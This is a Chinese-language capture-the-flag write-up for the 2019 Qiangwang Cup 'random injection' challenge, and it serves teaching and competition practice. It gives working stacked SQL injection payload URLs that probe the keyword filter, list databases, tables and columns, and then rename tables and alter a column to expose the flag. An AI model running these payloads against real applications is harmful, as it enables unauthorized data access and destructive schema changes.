隨便注
知識點:堆疊注入
步驟:
1.打開靶機,發現是這樣一個頁面。

2.然后提交試試。發現似乎是直接把返回的原始數據給返回了。

3.然后來測試一下有沒有注入,似乎是有的。
/?inject=1%27or+%271%27%3D%271 /?inject=1' or '1'='1

4.來檢查一下過濾情況,過濾函數如下。

過濾了 select,update,delete,drop,insert,where 和 點。
5.咦,過濾了那么些詞,是不是有堆疊注入?一測,還真有。下面列出數據庫試試。
/?inject=222%27%3Bshow+databases%3B%23
/?inject=222';show databases;#

- OK,可以。那看看有啥表。
/?inject=222%27%3Bshow+tables%3B%23 /?inject=222';show tables;#

7.來看看這個數字為名字的表里有啥。看來 flag 在這了。
/?inject=222%27%3Bshow+columns%20from%201919810931114514%3B%23 /?inject=222';show columns from1919810931114514;#

8.然后是 words 表,看起來就是默認查詢的表了。
/?inject=222%27%3Bshow+columns%20from%20words%3B%23 /?inject=222';show columns fromwords;#

9.他既然沒過濾 alert 和 rename,那么我們是不是可以把表改個名字,再給列改個名字呢。
先把 words 改名為 words1,再把這個數字表改名為 words,然后把新的 words 里的 flag 列改為 id (避免一開始無法查詢)。
這樣就可以讓程序直接查詢出 flag 了。
10.構造 payload 如下,然后訪問,看到這個看來就執行到最后一個語句了。(改表名那里直接從 pma 拷了一個語句過來改- -)
/?inject=1%27;RENAME%20TABLE%20`words`%20TO%20`words1`;RENAME%20TABLE%20`1919810931114514`%20TO%20`words`;ALTER%20TABLE%20`words`%20CHANGE%20`flag`%20`id`%20VARCHAR(100)%20CHARACTER%20SET%20utf8%20COLLATE%20utf8_general_ci%20NOT%20NULL;show%20columns%20from%20words;#
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#`

11.用 1' or '1'='1訪問一下。
`/?inject=1%27+or+%271%27%3D%271# /?inject=1’ or ‘1’=’1

- Flag 到手~
2019強網杯-Writeup